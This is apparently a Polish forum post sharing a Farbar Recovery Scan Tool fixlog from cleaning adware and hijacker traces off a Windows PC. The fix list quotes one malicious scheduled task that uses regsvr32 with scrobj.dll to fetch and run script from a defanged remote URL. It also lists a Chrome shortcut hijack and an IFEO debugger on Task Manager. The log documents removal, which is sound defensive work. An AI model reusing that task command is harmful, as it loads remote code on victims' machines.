zrobiłem tak jak pisałeś, w załączniku raport z czyszczenia fixlog.
Rezultat naprawy Farbar Recovery Scan Tool (x64) Wersja: 19-04-2017
Uruchomiony przez Grzegorz (20-04-2017 09:54:33) Run:1
Uruchomiony z C:\Users\Grzegorz\Desktop
Załadowane profile: Grzegorz (Dostępne profile: Grzegorz)
Tryb startu: Normal
==============================================
fixlist - zawartość:
*****************
Task: {1317401B-9EE0-46F9-8CC9-EE63E2AF3A6B} - \OfficeSoftwareProtectionPlatform\SvcRestartTask - & gt; Brak pliku & lt; ==== UWAGA
Task: {16BCDFFD-870A-4494-BF0C-42836AEC9977} - \Microsoft\Windows\Setup\gwx\refreshgwxconfig - & gt; Brak pliku & lt; ==== UWAGA
Task: {2746C296-7BB0-4CFB-9BE1-69765644C59E} - \Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d - & gt; Brak pliku & lt; ==== UWAGA
Task: {365027BD-D033-4F23-ADC4-ECB822AB95A7} - \Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent - & gt; Brak pliku & lt; ==== UWAGA
Task: {4D38D235-591F-4266-B56D-01EFD5C288AE} - \Microsoft\Windows\Setup\gwx\launchtrayprocess - & gt; Brak pliku & lt; ==== UWAGA
Task: {5DB514AD-88E7-4B58-BA50-C85A0E2370FD} - \Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B - & gt; Brak pliku & lt; ==== UWAGA
Task: {61580D41-F34B-433F-BB2D-3FEA91074D53} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime - & gt; Brak pliku & lt; ==== UWAGA
Task: {7E044A0B-38F0-412F-89E9-CFDCEF069E19} - System32\Tasks\{1945CCA9-BAD2-45B6-BD61-0BEA74C56948} = & gt; pcalua.exe -a C:\Users\Grzegorz\Downloads\anki-2.0.33.exe -d C:\Users\Grzegorz\Downloads
Task: {83A4AB8B-D528-4512-B9BA-7B2298BC4750} - \WPD\SqmUpload_S-1-5-21-3360595278-2965849811-1094420720-1001 - & gt; Brak pliku & lt; ==== UWAGA
Task: {95292858-55D8-4DD0-B953-AA48EF16923E} - \Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d - & gt; Brak pliku & lt; ==== UWAGA
Task: {9B09C5DF-C605-4E8F-9B72-24066DD417DF} - \Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d - & gt; Brak pliku & lt; ==== UWAGA
Task: {AA1BB18E-1C53-4874-8A10-937D8B27EAAA} - \Microsoft\Windows\Setup\GWXTriggers\Time-5d - & gt; Brak pliku & lt; ==== UWAGA
Task: {CDB8D566-2C59-4FB0-99B9-57A0879728D6} - \Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime - & gt; Brak pliku & lt; ==== UWAGA
Task: {D499D497-8F76-42A9-B21E-38E6F71D7FD9} - \Microsoft\Windows\Setup\GWXTriggers\Logon-5d - & gt; Brak pliku & lt; ==== UWAGA
Task: {DE416C10-9620-40DB-9173-091E28511FAE} - \Microsoft\Windows\Setup\gwx\refreshgwxcontent - & gt; Brak pliku & lt; ==== UWAGA
Task: {E221EDCF-64E7-49B1-9486-2431A89869C9} - System32\Tasks\PowerWord-SCT-JT = & gt; Regsvr32.exe /s /i:hxxp://point.lotusiloveyou.com/?data=zDlkPGN8NTHcrAFcMTItMDReMTFyG3wdwXNxnjRgnAh4nAwdwXNxnjRg scrobj.dll
Shortcut: C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk - & gt; C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk - & gt; C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk - & gt; C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk - & gt; C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Hosts:
HKU\S-1-5-21-3360595278-2965849811-1094420720-1001\...\MountPoints2: {1dfd1d63-d529-11e6-82a2-1cb72c0dbbc3} - " F:\HiSuiteDownLoader.exe "
HKU\S-1-5-21-3360595278-2965849811-1094420720-1001\...\MountPoints2: {1dfd1d94-d529-11e6-82a2-1cb72c0dbbc3} - " F:\HiSuiteDownLoader.exe "
IFEO\taskmgr.exe: [Debugger]
GroupPolicy: Ograniczenia - Chrome & lt; ======= UWAGA
CHR HKLM\SOFTWARE\Policies\Google: Ograniczenia & lt; ======= UWAGA
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = about:blank
CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - hxxps://clients2.google.com/service/update2/crx
S0 mfeelamk; C:\WINDOWS\System32\drivers\mfeelamk.sys [82072 2015-09-23] (McAfee, Inc.)
R1 MPCKpt; C:\WINDOWS\System32\DRIVERS\MPCKpt.sys [60136 2016-01-27] (DotC United Inc) & lt; ==== UWAGA
2017-04-18 21:57 - 2016-06-08 21:28 - 00000000 ____D C:\AdwCleaner
2017-03-21 09:35 - 2015-03-28 03:40 - 00000000 ____D C:\ProgramData\McAfee
EmptyTemp:
*****************
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{1317401B-9EE0-46F9-8CC9-EE63E2AF3A6B} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1317401B-9EE0-46F9-8CC9-EE63E2AF3A6B} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\OfficeSoftwareProtectionPlatform\SvcRestartTask = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{16BCDFFD-870A-4494-BF0C-42836AEC9977} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{16BCDFFD-870A-4494-BF0C-42836AEC9977} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxconfig = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2746C296-7BB0-4CFB-9BE1-69765644C59E} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2746C296-7BB0-4CFB-9BE1-69765644C59E} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\OutOfIdle-5d = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{365027BD-D033-4F23-ADC4-ECB822AB95A7} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{365027BD-D033-4F23-ADC4-ECB822AB95A7} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxconfigandcontent = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{4D38D235-591F-4266-B56D-01EFD5C288AE} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{4D38D235-591F-4266-B56D-01EFD5C288AE} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\launchtrayprocess = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{5DB514AD-88E7-4B58-BA50-C85A0E2370FD} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{5DB514AD-88E7-4B58-BA50-C85A0E2370FD} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\refreshgwxconfig-B = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{61580D41-F34B-433F-BB2D-3FEA91074D53} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{61580D41-F34B-433F-BB2D-3FEA91074D53} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeReminderTime = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{7E044A0B-38F0-412F-89E9-CFDCEF069E19} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{7E044A0B-38F0-412F-89E9-CFDCEF069E19} = & gt; klucz pomyślnie usunięto
C:\WINDOWS\System32\Tasks\{1945CCA9-BAD2-45B6-BD61-0BEA74C56948} = & gt; pomyślnie przeniesiono
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{1945CCA9-BAD2-45B6-BD61-0BEA74C56948} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{83A4AB8B-D528-4512-B9BA-7B2298BC4750} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{83A4AB8B-D528-4512-B9BA-7B2298BC4750} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\WPD\SqmUpload_S-1-5-21-3360595278-2965849811-1094420720-1001 = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{95292858-55D8-4DD0-B953-AA48EF16923E} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{95292858-55D8-4DD0-B953-AA48EF16923E} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\OutOfSleep-5d = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{9B09C5DF-C605-4E8F-9B72-24066DD417DF} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9B09C5DF-C605-4E8F-9B72-24066DD417DF} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\MachineUnlock-5d = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{AA1BB18E-1C53-4874-8A10-937D8B27EAAA} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{AA1BB18E-1C53-4874-8A10-937D8B27EAAA} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\Time-5d = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{CDB8D566-2C59-4FB0-99B9-57A0879728D6} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CDB8D566-2C59-4FB0-99B9-57A0879728D6} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\ScheduleUpgradeTime = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{D499D497-8F76-42A9-B21E-38E6F71D7FD9} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D499D497-8F76-42A9-B21E-38E6F71D7FD9} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\GWXTriggers\Logon-5d = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{DE416C10-9620-40DB-9173-091E28511FAE} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DE416C10-9620-40DB-9173-091E28511FAE} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\Setup\gwx\refreshgwxcontent = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{E221EDCF-64E7-49B1-9486-2431A89869C9} = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{E221EDCF-64E7-49B1-9486-2431A89869C9} = & gt; klucz pomyślnie usunięto
C:\WINDOWS\System32\Tasks\PowerWord-SCT-JT = & gt; pomyślnie przeniesiono
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\PowerWord-SCT-JT = & gt; klucz pomyślnie usunięto
C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk = & gt; pomyślnie przeniesiono
C:\Users\Grzegorz\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk = & gt; pomyślnie przeniesiono
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk = & gt; pomyślnie przeniesiono
C:\Users\Public\Desktop\Google Chrome.lnk = & gt; pomyślnie przeniesiono
C:\Windows\System32\Drivers\etc\hosts = & gt; pomyślnie przeniesiono
Hosts pomyślnie przywrócono.
HKU\S-1-5-21-3360595278-2965849811-1094420720-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{1dfd1d63-d529-11e6-82a2-1cb72c0dbbc3} = & gt; klucz pomyślnie usunięto
HKCR\CLSID\{1dfd1d63-d529-11e6-82a2-1cb72c0dbbc3} = & gt; klucz nie znaleziono.
HKU\S-1-5-21-3360595278-2965849811-1094420720-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{1dfd1d94-d529-11e6-82a2-1cb72c0dbbc3} = & gt; klucz pomyślnie usunięto
HKCR\CLSID\{1dfd1d94-d529-11e6-82a2-1cb72c0dbbc3} = & gt; klucz nie znaleziono.
HKLM\Software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe = & gt; klucz pomyślnie usunięto
C:\WINDOWS\system32\GroupPolicy\Machine = & gt; pomyślnie przeniesiono
C:\WINDOWS\system32\GroupPolicy\GPT.ini = & gt; pomyślnie przeniesiono
C:\WINDOWS\SysWOW64\GroupPolicy\GPT.ini = & gt; pomyślnie przeniesiono
HKLM\SOFTWARE\Policies\Google = & gt; klucz pomyślnie usunięto
HKLM\Software\\Microsoft\Internet Explorer\Main\\Start Page = & gt; Wartość pomyślnie przywrócono
HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\eofcbnmajmjmplflapaojjnihcjkigck = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\gomekmidlodglbbmalcneegieacbdmki = & gt; klucz pomyślnie usunięto
HKLM\SOFTWARE\Wow6432Node\Google\Chrome\Extensions\lifbcibllhkdhoafpjfnlhfpfgnpldfl = & gt; klucz pomyślnie usunięto
HKLM\System\CurrentControlSet\Services\mfeelamk = & gt; klucz pomyślnie usunięto
mfeelamk = & gt; serwis pomyślnie usunięto
MPCKpt = & gt; Nie można zatrzymać usługi.
HKLM\System\CurrentControlSet\Services\MPCKpt = & gt; klucz niepowodzenie przy usuwaniu, klucz może być zabezpieczony
C:\AdwCleaner = & gt; pomyślnie przeniesiono
C:\ProgramData\McAfee = & gt; pomyślnie przeniesiono
=========== EmptyTemp: ==========
BITS transfer queue = & gt; 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache = & gt; 25052611 B
Java, Flash, Steam htmlcache = & gt; 492 B
Windows/system/drivers = & gt; 321810 B
Edge = & gt; 2463 B
Chrome = & gt; 24576 B
Firefox = & gt; 10776528 B
Opera = & gt; 669696 B
Temp, IE cache, history, cookies, recent:
Default = & gt; 0 B
Users = & gt; 0 B
ProgramData = & gt; 0 B
Public = & gt; 0 B
systemprofile = & gt; 172 B
systemprofile32 = & gt; 0 B
LocalService = & gt; 822 B
NetworkService = & gt; 0 B
Grzegorz = & gt; 66013575 B
RecycleBin = & gt; 0 B
EmptyTemp: = & gt; 98.1 MB danych tymczasowych Usunięto.
================================
Rezultat przenoszenia plików przy restarcie (Tryb startu: Normal) (Data i godzina: 20-04-2017 09:57:25)
Rezultat usuwania kluczy przy restarcie:
HKLM\System\CurrentControlSet\Services\MPCKpt = & gt; klucz niepowodzenie przy usuwaniu, klucz może być zabezpieczony
==== Koniec Fixlog 09:57:26 ====